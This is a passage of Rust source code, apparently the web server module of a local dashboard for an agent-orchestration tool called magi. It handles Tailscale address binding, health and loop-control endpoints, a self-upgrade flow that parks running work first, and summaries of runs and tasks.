1677 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1678 local-only and a phone cannot reach it; start Tailscale \
1679 or pass --bind <addr>"
1680 )),
1681 ),
1682 },
1683 }
1684}
1685
1686fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1694 let out = std::process::Command::new("tailscale")
1695 .args(["ip", "-4"])
1696 .quiet()
1697 .output()
1698 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1699 if !out.status.success() {
1700 let why = String::from_utf8_lossy(&out.stderr);
1701 let why = why.trim();
1702 return Err(format!(
1703 "`tailscale ip -4` failed ({}){}",
1704 out.status,
1705 if why.is_empty() {
1706 String::new()
1707 } else {
1708 format!(": {why}")
1709 }
1710 ));
1711 }
1712 String::from_utf8_lossy(&out.stdout)
1713 .lines()
1714 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1715 .find(is_tailnet)
1716 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1717}
1718
1719fn is_tailnet(ip: &Ipv4Addr) -> bool {
1721 let o = ip.octets();
1722 o[0] == 100 && (64..=127).contains(&o[1])
1723}
1724
1725type ApiResult<T> = std::result::Result<T, ApiError>;
1729
1730#[derive(Debug)]
1732struct ApiError {
1733 status: StatusCode,
1734 message: String,
1735}
1736
1737impl ApiError {
1738 fn bad_request(message: impl Into<String>) -> Self {
1740 Self {
1741 status: StatusCode::BAD_REQUEST,
1742 message: message.into(),
1743 }
1744 }
1745
1746 fn not_found(message: impl Into<String>) -> Self {
1748 Self {
1749 status: StatusCode::NOT_FOUND,
1750 message: message.into(),
1751 }
1752 }
1753
1754 fn with_status(mut self, status: StatusCode) -> Self {
1757 self.status = status;
1758 self
1759 }
1760
1761 fn bad_request_from(e: anyhow::Error) -> Self {
1765 Self::bad_request(format!("{e:#}"))
1766 }
1767
1768 fn conflict(message: impl Into<String>) -> Self {
1769 Self {
1770 status: StatusCode::CONFLICT,
1771 message: message.into(),
1772 }
1773 }
1774
1775 fn internal(message: impl Into<String>) -> Self {
1777 Self {
1778 status: StatusCode::INTERNAL_SERVER_ERROR,
1779 message: message.into(),
1780 }
1781 }
1782}
1783
1784impl From<anyhow::Error> for ApiError {
1785 fn from(e: anyhow::Error) -> Self {
1790 Self::internal(format!("{e:#}"))
1791 }
1792}
1793
1794impl IntoResponse for ApiError {
1795 fn into_response(self) -> Response {
1796 let body = serde_json::json!({ "error": self.message });
1797 (self.status, Json(body)).into_response()
1798 }
1799}
1800
1801async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1810where
1811 T: Send + 'static,
1812{
1813 match tokio::task::spawn_blocking(job).await {
1814 Ok(result) => result,
1815 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1816 }
1817}
1818
1819const ASSET_CACHE: &str = "no-cache, must-revalidate";
1837
1838fn asset_etag() -> &'static str {
1845 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1846 format!(
1847 "\"{}-{}\"",
1848 env!("CARGO_PKG_VERSION"),
1849 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1854 )
1855 });
1856 &TAG
1857}
1858
1859fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1861 [
1862 (header::CONTENT_TYPE, mime),
1863 (header::CACHE_CONTROL, ASSET_CACHE),
1864 (header::ETAG, asset_etag()),
1865 ]
1866}
1867
1868fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1876 let tag = asset_etag();
1877 let known = headers
1878 .get(header::IF_NONE_MATCH)
1879 .and_then(|v| v.to_str().ok())
1880 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1884 if known {
1885 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1886 }
1887 (asset_headers(mime), body).into_response()
1888}
1889
1890async fn index(headers: header::HeaderMap) -> Response {
1891 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1892}
1893
1894async fn app_css(headers: header::HeaderMap) -> Response {
1895 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1896}
1897
1898async fn app_js(headers: header::HeaderMap) -> Response {
1899 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1900}
1901
1902#[derive(Debug, Serialize)]
1904struct HealthView {
1905 version: &'static str,
1906 home: String,
1907 queue_rev: u64,
1908 runs_rev: u64,
1909 questions_rev: u64,
1921 talks_rev: u64,
1923 notifications_rev: u64,
1925 notifications_unread: usize,
1928 loop_rev: u64,
1933 runs_unreadable: usize,
1941 disk: DiskView,
1949 questions_open: usize,
1955 questions_needs_owner: usize,
1965 daemon: DaemonView,
1966 #[serde(rename = "loop")]
1972 looping: LoopView,
1973 update: UpdateView,
1980 upgrade: Option<UpgradeProgressView>,
1984}
1985
1986#[derive(Debug, Serialize)]
1993struct UpdateView {
1994 available: bool,
1996 to: Option<String>,
1998}
1999
2000#[derive(Debug, Serialize)]
2002struct UpgradeProgressView {
2003 stage: updater::Stage,
2004 from: String,
2005 to: Option<String>,
2006 waiting_on: Option<String>,
2009 started_at: Timestamp,
2010 updated_at: Timestamp,
2011 detail: Option<String>,
2012 stuck_for_secs: Option<i64>,
2015 stuck_kind: Option<updater::StallKind>,
2018 handover_alive: bool,
2021}
2022
2023fn should_spawn_recheck(cfg: &Update) -> bool {
2030 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2031}
2032
2033fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2045 if progress.is_some_and(|p| !p.stage.terminal()) {
2046 return false;
2047 }
2048 checker.should_check()
2049}
2050
2051fn recheck_poll_period(cfg: &Update) -> Duration {
2064 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2065}
2066
2067async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2091 loop {
2092 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2093 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2094 if !should_spawn_recheck(&cfg.update) {
2095 continue;
2096 }
2097 let Some(checker) = updater::Checker::new(&cfg.update) else {
2098 continue;
2099 };
2100 let progress = updater::read_progress(&home);
2101 if !update_recheck_due(&checker, progress.as_ref()) {
2102 continue;
2103 }
2104 if let Err(e) = checker.newer_release().await {
2105 tracing::warn!("background update recheck failed: {e:#}");
2106 }
2107 }
2108}
2109
2110fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2116 let default;
2117 let cfg = match cfg {
2118 Some(cfg) => cfg,
2119 None => {
2120 default = Config::default();
2121 &default
2122 }
2123 };
2124 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2125 match latest {
2126 Some(latest) => UpdateView {
2127 available: true,
2128 to: Some(latest.tag_name),
2129 },
2130 None => UpdateView {
2131 available: false,
2132 to: None,
2133 },
2134 }
2135}
2136
2137fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2143 let now = Timestamp::now();
2144 let lease = updater::read_lease(&ui.home);
2145 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2146 let run_id = alive
2147 .and_then(|l| l.parked_run.as_deref())
2148 .or(progress.parked_run.as_deref());
2149 let parking = progress.stage == updater::Stage::Parking;
2150 let waited = alive.map_or_else(String::new, |l| {
2151 let secs = updater::waited_secs(l, now);
2152 format!(" (waited {} min so far)", secs / 60)
2153 });
2154 let run_text = run_id
2155 .filter(|_| parking)
2156 .map(|id| match read_run(&ui.runs, id).ok() {
2157 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2158 None => format!("run {id} is finishing"),
2159 });
2160 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2161 .filter(|t| parking && !t.is_empty())
2162 .map(|t| format!("{t} finishing"));
2163 let waiting_on = match (run_text, talks_text) {
2164 (None, None) => None,
2165 (run, talks) => {
2166 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2167 Some(format!(
2168 "{} before the address is handed over{waited}",
2169 parts.join(" and ")
2170 ))
2171 }
2172 };
2173 let detail = progress
2174 .detail
2175 .clone()
2176 .or_else(|| updater::read_note(&ui.home, &progress));
2177 let stalled = updater::stall(&progress, lease.as_ref(), now);
2178 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2179 UpgradeProgressView {
2180 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2181 stuck_kind: stalled.map(|s| s.kind),
2182 handover_alive: alive.is_some(),
2183 stage: progress.stage,
2184 from: progress.from,
2185 to: progress.to,
2186 waiting_on,
2187 started_at: progress.started_at,
2188 updated_at: progress.updated_at,
2189 detail,
2190 }
2191}
2192
2193#[derive(Debug, Serialize)]
2198struct DiskView {
2199 #[serde(skip_serializing_if = "Option::is_none")]
2201 free_bytes: Option<u64>,
2202 runs_bytes: u64,
2204 worktrees_bytes: u64,
2206 #[serde(skip_serializing_if = "Option::is_none")]
2208 cache_bytes: Option<u64>,
2209}
2210
2211impl DiskView {
2212 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2214 let cache_bytes = cfg
2215 .and_then(|cfg| cfg.cache_dir())
2216 .map(|dir| crate::disk::dir_size(&dir));
2217 Self {
2218 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2219 runs_bytes: crate::disk::dir_size(&ui.runs),
2220 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2221 cache_bytes,
2222 }
2223 }
2224}
2225
2226#[derive(Debug, Serialize)]
2228struct DaemonView {
2229 running: bool,
2230 idle: Option<bool>,
2231 pid: Option<u32>,
2232 current: Vec<daemon::Current>,
2236 completed: Option<u64>,
2237 stale_for_secs: Option<i64>,
2238}
2239
2240impl DaemonView {
2241 fn of(status: Option<daemon::Reading>) -> Self {
2245 let Some(status) = status else {
2246 return Self {
2247 running: false,
2248 idle: None,
2249 pid: None,
2250 current: Vec::new(),
2251 completed: None,
2252 stale_for_secs: None,
2253 };
2254 };
2255 let now = Timestamp::now();
2256 let age = status.age_secs(now);
2257 Self {
2258 running: status.running(now),
2259 idle: Some(status.idle),
2260 pid: status.pid,
2261 current: status.current,
2262 completed: Some(status.completed),
2263 stale_for_secs: age,
2264 }
2265 }
2266}
2267
2268async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2269 blocking(move || {
2270 let reading = daemon::read_status(&ui.home);
2274 let loop_rev = ui.lock_loop().rev;
2278 let cfg = deputy_config(&ui.repo);
2281 let update = cached_update_view(cfg.as_ref());
2282 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2283 Ok(Json(HealthView {
2284 version: env!("CARGO_PKG_VERSION"),
2285 home: ui.home.display().to_string(),
2286 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2287 runs_rev: runs_revision(&ui.runs),
2288 questions_rev: ui.questions.revision(),
2289 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2290 notifications_rev: ui.notices.revision(),
2291 notifications_unread: ui.notices.count_unread(),
2292 loop_rev,
2293 runs_unreadable: runs_unreadable(&ui.runs),
2294 questions_open: ui.questions.count_open(),
2295 questions_needs_owner: ui.questions.count_needs_owner(),
2296 daemon: DaemonView::of(reading.clone()),
2297 looping: ui.loop_view(reading),
2298 disk: DiskView::of(&ui, cfg.as_ref()),
2299 update,
2300 upgrade,
2301 }))
2302 })
2303 .await
2304}
2305
2306#[derive(Debug, Serialize)]
2308struct LoopView {
2309 running: bool,
2311 stopping: bool,
2319 parking: bool,
2327 owned: bool,
2335 repo: String,
2338 merge: Option<String>,
2341 last_error: Option<String>,
2349 daemon: DaemonView,
2352}
2353
2354#[derive(Debug, Clone, Copy)]
2363struct Foreign {
2364 pid: Option<u32>,
2366}
2367
2368impl Foreign {
2369 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2372 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2376 }
2377
2378 fn who(&self) -> String {
2381 match self.pid {
2382 Some(pid) => format!("another magi process (pid {pid})"),
2383 None => "another magi process".to_owned(),
2384 }
2385 }
2386}
2387
2388type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2393
2394fn launch_daemon(
2396 opts: daemon::Opts,
2397 stop: daemon::Stop,
2398) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2399 Box::pin(daemon::serve_until(opts, stop))
2400}
2401
2402#[derive(Debug, Default)]
2404struct LoopState {
2405 live: Option<Live>,
2407 rev: u64,
2415 last_error: Option<String>,
2418 resume_after_handover: bool,
2423}
2424
2425#[derive(Debug)]
2427struct Live {
2428 stop: daemon::Stop,
2430 handle: tokio::task::JoinHandle<()>,
2435 opts: daemon::Opts,
2439}
2440
2441impl Live {
2442 fn alive(&self) -> bool {
2444 !self.handle.is_finished()
2445 }
2446}
2447
2448fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2455 state.lock().unwrap_or_else(PoisonError::into_inner)
2456}
2457
2458async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2460 blocking(move || {
2461 let reading = daemon::read_status(&ui.home);
2462 Ok(Json(ui.loop_view(reading)))
2463 })
2464 .await
2465}
2466
2467#[derive(Debug, Deserialize)]
2473#[serde(deny_unknown_fields)]
2474struct LoopCommand {
2475 running: bool,
2476 #[serde(default)]
2486 park: bool,
2487}
2488
2489async fn loop_post(
2497 State(ui): State<Arc<Ui>>,
2498 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2499) -> ApiResult<Json<LoopView>> {
2500 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2503 blocking(move || {
2504 let reading = daemon::read_status(&ui.home);
2505 let foreign = Foreign::of(reading.as_ref());
2506 if body.running {
2507 ui.start_loop(foreign)?;
2508 } else {
2509 ui.stop_loop(foreign, body.park)?;
2510 }
2511 Ok(Json(ui.loop_view(reading)))
2512 })
2513 .await
2514}
2515
2516#[derive(Debug, Serialize)]
2518struct UpgradeView {
2519 from: String,
2521 to: Option<String>,
2523 parked: Option<String>,
2525 detail: String,
2527}
2528
2529fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2532 progress.filter(|p| !p.stage.terminal())
2533}
2534
2535async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2559 let reading = daemon::read_status(&ui.home);
2560 if let Some(other) = Foreign::of(reading.as_ref()) {
2561 return Err(ApiError::conflict(format!(
2562 "the loop belongs to {}, so replacing this binary would leave \
2563 that process running an old one against the same queue. Upgrade \
2564 where it was started.",
2565 other.who()
2566 )));
2567 }
2568
2569 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2574 return Err(ApiError::conflict(
2575 "another request is already preparing an upgrade",
2576 ));
2577 };
2578 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2579 return Err(ApiError::conflict(
2580 "an upgrade is already in progress (this process started one and it \
2581 has not finished or failed yet)",
2582 ));
2583 }
2584 let recorded = updater::read_progress(&ui.home);
2585 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2586 return Err(ApiError::conflict(format!(
2587 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2588 stays stuck, restart the deck; on start it settles a stale record.",
2589 p.stage.as_str(),
2590 p.from,
2591 p.to.as_deref().unwrap_or("?"),
2592 )));
2593 }
2594
2595 if crate::updater::disabled_by_env() {
2601 return Ok((
2602 StatusCode::OK,
2603 Json(UpgradeView {
2604 from: env!("CARGO_PKG_VERSION").to_owned(),
2605 to: None,
2606 parked: None,
2607 detail: format!(
2608 "Automatic updates are disabled by {}. Nothing was parked \
2609 and nothing restarted.",
2610 crate::updater::NO_AUTOUPDATE_ENV
2611 ),
2612 }),
2613 ));
2614 }
2615
2616 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2621 let from = env!("CARGO_PKG_VERSION").to_owned();
2622 let latest = match crate::updater::Checker::new(&cfg.update) {
2623 Some(checker) => checker
2624 .newer_release()
2625 .await
2626 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2627 None => None,
2628 };
2629 let Some(latest) = latest else {
2630 return Ok((
2631 StatusCode::OK,
2632 Json(UpgradeView {
2633 from,
2634 to: None,
2635 parked: None,
2636 detail: "Already on the newest release. Nothing was parked \
2637 and nothing restarted."
2638 .to_owned(),
2639 }),
2640 ));
2641 };
2642
2643 let parked = ui.park_for_upgrade()?;
2646 let detail = match &parked {
2647 Some(run) => format!(
2652 "Run {} is parking at its next step, which can take as long as \
2653 the step it is on - up to an hour for an implement wave. The \
2654 deck replaces itself once it parks, comes back, and the loop \
2655 carries that run on from where it stopped. Nothing is lost if \
2656 you close this.",
2657 crate::run::short_of(run)
2658 ),
2659 None => "The deck replaces itself and comes back. Nothing was in \
2660 flight to park."
2661 .to_owned(),
2662 };
2663
2664 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2668 progress.parked_run = parked.clone();
2669 updater::write_progress_logged(&ui.home, &progress);
2673
2674 let home = ui.home.clone();
2675 let looping = ui.looping();
2676 ui.upgrade_spawned
2677 .store(true, std::sync::atomic::Ordering::SeqCst);
2678 let spawned = Arc::clone(&ui.upgrade_spawned);
2679 tokio::spawn(async move {
2680 if let Err(e) = upgrade_and_restart(home.clone()).await {
2681 tracing::error!("the upgrade did not complete: {e:#}");
2682 lock_or_recover(&looping).resume_after_handover = false;
2683 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2687 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2690 }
2691 });
2692
2693 Ok((
2694 StatusCode::ACCEPTED,
2695 Json(UpgradeView {
2696 from,
2697 to: Some(latest.tag_name),
2698 parked,
2699 detail,
2700 }),
2701 ))
2702}
2703
2704async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2709 crate::updater::run_self_update(true, false, true).await?;
2712 updater::log_step(&home, "binary replaced - recording the replaced stage");
2713 if let Some(mut progress) = updater::read_progress(&home) {
2714 progress.advance(updater::Stage::Replaced);
2715 updater::write_progress_logged(&home, &progress);
2716 }
2717 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2718 HANDOVER.notify_one();
2719 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2720 Ok(())
2721}
2722
2723#[derive(Debug, Serialize)]
2729struct RunSummary {
2730 id: String,
2731 short: String,
2732 status: String,
2733 done: bool,
2734 instruction: String,
2735 title: String,
2736 repo: String,
2737 repo_name: String,
2738 created_at: String,
2739 updated_at: String,
2740 candidates: usize,
2741 viable: usize,
2742 judges: usize,
2743 winner: Option<char>,
2744 reviews: usize,
2745 quota_losses: usize,
2746 event: Option<String>,
2747 superseded_by: Option<String>,
2752 waiting: bool,
2759 live: crate::run::Liveness,
2763 pr: Option<crate::run::PrRecord>,
2765 unmerged_by_design: bool,
2771 origin_label: String,
2774}
2775
2776impl RunSummary {
2777 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2778 Self {
2779 id: state.id.clone(),
2780 short: state.short().to_owned(),
2781 status: status_word(state.status),
2782 done: state.status.done(),
2783 unmerged_by_design: state.unmerged_by_design(),
2784 instruction: state.instruction.clone(),
2785 title: title_from(&state.instruction, TITLE_MAX),
2786 repo: state.repo.display().to_string(),
2787 repo_name: state
2788 .repo
2789 .file_name()
2790 .map(|n| n.to_string_lossy().into_owned())
2791 .unwrap_or_default(),
2792 created_at: state.created_at.to_string(),
2793 updated_at: state.updated_at.to_string(),
2794 candidates: state.candidates.len(),
2795 viable: state.viable().len(),
2796 judges: state.config.graph.judges,
2797 winner: state.winner().map(|c| c.label),
2798 reviews: state.reviews.len(),
2799 quota_losses: state.quota.len(),
2800 event: state.events.last().map(|e| e.message.clone()),
2801 waiting,
2802 live,
2803 superseded_by: None,
2806 pr: state.pr.clone(),
2807 origin_label: crate::run::origin_label(state.origin.as_ref()),
2808 }
2809 }
2810}
2811
2812fn status_word(status: RunStatus) -> String {
2815 status.as_str().to_owned()
2819}
2820
2821#[derive(Debug, Deserialize)]
2823struct ListQuery {
2824 #[serde(default)]
2825 limit: Option<usize>,
2826 ids: Option<String>,
2828}
2829
2830impl ListQuery {
2831 fn contains(&self, id: &str) -> bool {
2832 self.ids
2833 .as_ref()
2834 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2835 }
2836}
2837
2838async fn runs_list(
2839 State(ui): State<Arc<Ui>>,
2840 Query(q): Query<ListQuery>,
2841) -> ApiResult<Json<Vec<RunSummary>>> {
2842 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2843 blocking(move || {
2844 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2845 let states = run_ids(&ui.runs)
2846 .into_iter()
2847 .filter_map(|id| read_run(&ui.runs, &id).ok())
2852 .take(limit)
2853 .filter(|run| q.contains(&run.id));
2854 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2855 let summaries = summarize(
2856 states,
2857 &open_runs,
2858 &claimed,
2859 &superseded,
2860 |p| probe.borrow_mut().status(p),
2861 |p| probe.borrow_mut().started_at(p),
2862 );
2863 Ok(Json(summaries))
2864 })
2865 .await
2866}
2867
2868fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2873 let open_runs: HashSet<String> = ui
2874 .questions
2875 .list()
2876 .into_iter()
2877 .filter(|q| q.status.open())
2878 .map(|q| q.run)
2879 .collect();
2880 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2881 .into_iter()
2882 .map(|c| c.run)
2883 .collect();
2884 (open_runs, claimed, ui.queue.superseded())
2885}
2886
2887fn summarize<I, S, D>(
2893 states: I,
2894 open_runs: &HashSet<String>,
2895 claimed: &HashSet<String>,
2896 superseded: &HashMap<String, String>,
2897 mut status_q: S,
2898 mut identity_q: D,
2899) -> Vec<RunSummary>
2900where
2901 I: IntoIterator<Item = RunState>,
2902 S: FnMut(u32) -> Option<bool>,
2903 D: FnMut(u32) -> Option<String>,
2904{
2905 states
2906 .into_iter()
2907 .map(|state| {
2908 let waiting = open_runs.contains(&state.id);
2909 let live =
2910 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2911 let mut row = RunSummary::of(&state, waiting, live);
2912 row.superseded_by = superseded
2913 .get(&state.id)
2914 .map(String::as_str)
2915 .map(crate::run::short_of)
2916 .map(str::to_owned);
2917 row
2918 })
2919 .collect()
2920}
2921
2922#[derive(Debug, Serialize)]
2929struct RunDetailView {
2930 #[serde(flatten)]
2931 state: RunState,
2932 instruction_md: Vec<md::Node>,
2933 #[serde(flatten)]
2937 prose_md: RunProseMd,
2938 live: crate::run::Liveness,
2953 unmerged_by_design: bool,
2958 done: bool,
2963 superseded_by: Option<String>,
2971 latest_attempt: Option<LatestAttempt>,
2985 task: Option<TaskRef>,
2988 origin_label: String,
2992}
2993
2994#[derive(Debug, Serialize)]
2996struct TaskRef {
2997 id: String,
2998 short: String,
2999 title: String,
3000 source_label: String,
3002 source_link: Option<SourceLink>,
3004 status: &'static str,
3006 attempts: usize,
3007 max_attempts: usize,
3008 is_latest: bool,
3010 latest: Option<RunBrief>,
3012 finished_by: Option<RunBrief>,
3014 closed_by_hand: bool,
3016}
3017
3018#[derive(Debug, PartialEq, Eq, Serialize)]
3020struct SourceLink {
3021 kind: &'static str,
3023 id: String,
3025 href: String,
3027}
3028
3029fn encode_segment(raw: &str) -> String {
3031 let mut out = String::with_capacity(raw.len());
3032 for b in raw.bytes() {
3033 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3034 out.push(b as char);
3035 } else {
3036 out.push_str(&format!("%{b:02X}"));
3037 }
3038 }
3039 out
3040}
3041
3042fn source_link(source: &Source) -> Option<SourceLink> {
3046 let Source::Agent { run, node } = source else {
3047 return None;
3048 };
3049 let (kind, route) = if node == crate::queue::CHAT_NODE {
3050 ("chat", "chat")
3051 } else {
3052 ("run", "runs")
3053 };
3054 Some(SourceLink {
3055 kind,
3056 id: run.clone(),
3057 href: format!("#/{route}/{}", encode_segment(run)),
3058 })
3059}
3060
3061#[derive(Debug, Serialize, PartialEq)]
3063struct FollowUpParent {
3064 id: String,
3065 short: String,
3066 title: String,
3067 status: &'static str,
3069 href: String,
3070}
3071
3072#[derive(Debug, Serialize, PartialEq)]
3074struct FollowUpRun {
3075 id: String,
3076 short: String,
3077 status: Option<&'static str>,
3079 href: Option<String>,
3081}
3082
3083#[derive(Debug, Serialize, PartialEq)]
3086struct FollowUpOrigin {
3087 parent: Option<FollowUpParent>,
3089 run: FollowUpRun,
3090 pr: String,
3095 findings: Vec<String>,
3096 generation: u32,
3097}
3098
3099fn followup_origin(
3102 fu: &crate::queue::FollowUp,
3103 task: impl Fn(&str) -> Option<Task>,
3104 run: impl Fn(&str) -> Option<RunState>,
3105) -> FollowUpOrigin {
3106 let parent = fu
3107 .origin_task
3108 .as_deref()
3109 .and_then(task)
3110 .map(|t| FollowUpParent {
3111 short: t.short().to_owned(),
3112 href: format!("#/tasks/{}", encode_segment(&t.id)),
3113 status: t.status.as_str(),
3114 title: t.title,
3115 id: t.id,
3116 });
3117 let state = run(&fu.run);
3118 FollowUpOrigin {
3119 parent,
3120 run: FollowUpRun {
3121 short: run::short_of(&fu.run).to_owned(),
3122 status: state.as_ref().map(|s| s.status.as_str()),
3123 href: state
3124 .is_some()
3125 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3126 id: fu.run.clone(),
3127 },
3128 pr: fu.pr.clone(),
3129 findings: fu.findings.clone(),
3130 generation: fu.generation,
3131 }
3132}
3133
3134#[derive(Debug, Serialize)]
3136struct RunBrief {
3137 id: String,
3138 short: String,
3139 status: Option<&'static str>,
3141 outcome: String,
3143}
3144
3145fn task_outcome(
3148 task: &Task,
3149 this_run: &str,
3150 max_attempts: usize,
3151 read: impl Fn(&str) -> Option<RunState>,
3152) -> TaskRef {
3153 let history = task_history(task, read);
3154 let brief = |h: &TaskRunView| RunBrief {
3155 id: h.id.clone(),
3156 short: h.short.clone(),
3157 status: h.status,
3158 outcome: h.exit.edge_label(h.status),
3159 };
3160 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3161 let latest = if is_latest {
3162 None
3163 } else {
3164 history.last().map(brief)
3165 };
3166 let done = task.status == TaskStatus::Done;
3167 let finished_by = done
3168 .then(|| {
3169 history
3170 .iter()
3171 .rev()
3172 .find(|h| {
3173 matches!(
3174 h.exit,
3175 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3176 )
3177 })
3178 .map(brief)
3179 })
3180 .flatten();
3181 TaskRef {
3182 short: task.short().to_owned(),
3183 title: task.title.clone(),
3184 id: task.id.clone(),
3185 source_label: task.source.label(),
3186 source_link: source_link(&task.source),
3187 status: task.status.as_str(),
3188 attempts: task.attempts,
3189 max_attempts,
3190 is_latest,
3191 latest,
3192 closed_by_hand: done && finished_by.is_none(),
3193 finished_by,
3194 }
3195}
3196
3197#[derive(Debug, Serialize)]
3199struct LatestAttempt {
3200 id: String,
3201 short: String,
3202 resolved: bool,
3213 status: RunStatus,
3216 done: bool,
3218}
3219
3220#[derive(Debug, Default, Serialize)]
3222struct RunProseMd {
3223 advice_md: Option<AdviceMd>,
3225 candidate_summaries_md: Vec<Vec<md::Node>>,
3227 reviews_md: Vec<RoundMd>,
3229}
3230
3231#[derive(Debug, Default, Serialize)]
3232struct AdviceMd {
3233 synthesis: Vec<md::Node>,
3234 approaches: Vec<Vec<md::Node>>,
3236}
3237
3238#[derive(Debug, Default, Serialize)]
3239struct RoundMd {
3240 reviewers: Vec<ReviewerMd>,
3242 reconsideration: Vec<Vec<md::Node>>,
3244 fix: Option<FixMd>,
3245}
3246
3247#[derive(Debug, Default, Serialize)]
3248struct ReviewerMd {
3249 summary: Vec<md::Node>,
3250 findings: Vec<Vec<md::Node>>,
3252}
3253
3254#[derive(Debug, Default, Serialize)]
3255struct FixMd {
3256 notes: Vec<md::Node>,
3257 rejected: Vec<Vec<md::Node>>,
3259}
3260
3261fn run_prose_md(state: &RunState) -> RunProseMd {
3263 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3264 RunProseMd {
3265 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3266 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3267 approaches: a
3268 .records
3269 .iter()
3270 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3271 .collect(),
3272 }),
3273 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3274 reviews_md: state
3275 .reviews
3276 .iter()
3277 .map(|round| RoundMd {
3278 reviewers: round
3279 .reviews
3280 .iter()
3281 .map(|rec| ReviewerMd {
3282 summary: nodes(&rec.summary),
3283 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3284 })
3285 .collect(),
3286 reconsideration: round
3287 .reconsideration
3288 .iter()
3289 .map(|rv| nodes(&rv.reason))
3290 .collect(),
3291 fix: round.fix.as_ref().map(|fix| FixMd {
3292 notes: nodes(&fix.notes),
3293 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3294 }),
3295 })
3296 .collect(),
3297 }
3298}
3299
3300impl RunDetailView {
3301 fn of(
3302 state: RunState,
3303 live: crate::run::Liveness,
3304 superseded_by: Option<String>,
3305 latest_attempt: Option<LatestAttempt>,
3306 task: Option<TaskRef>,
3307 ) -> Self {
3308 Self {
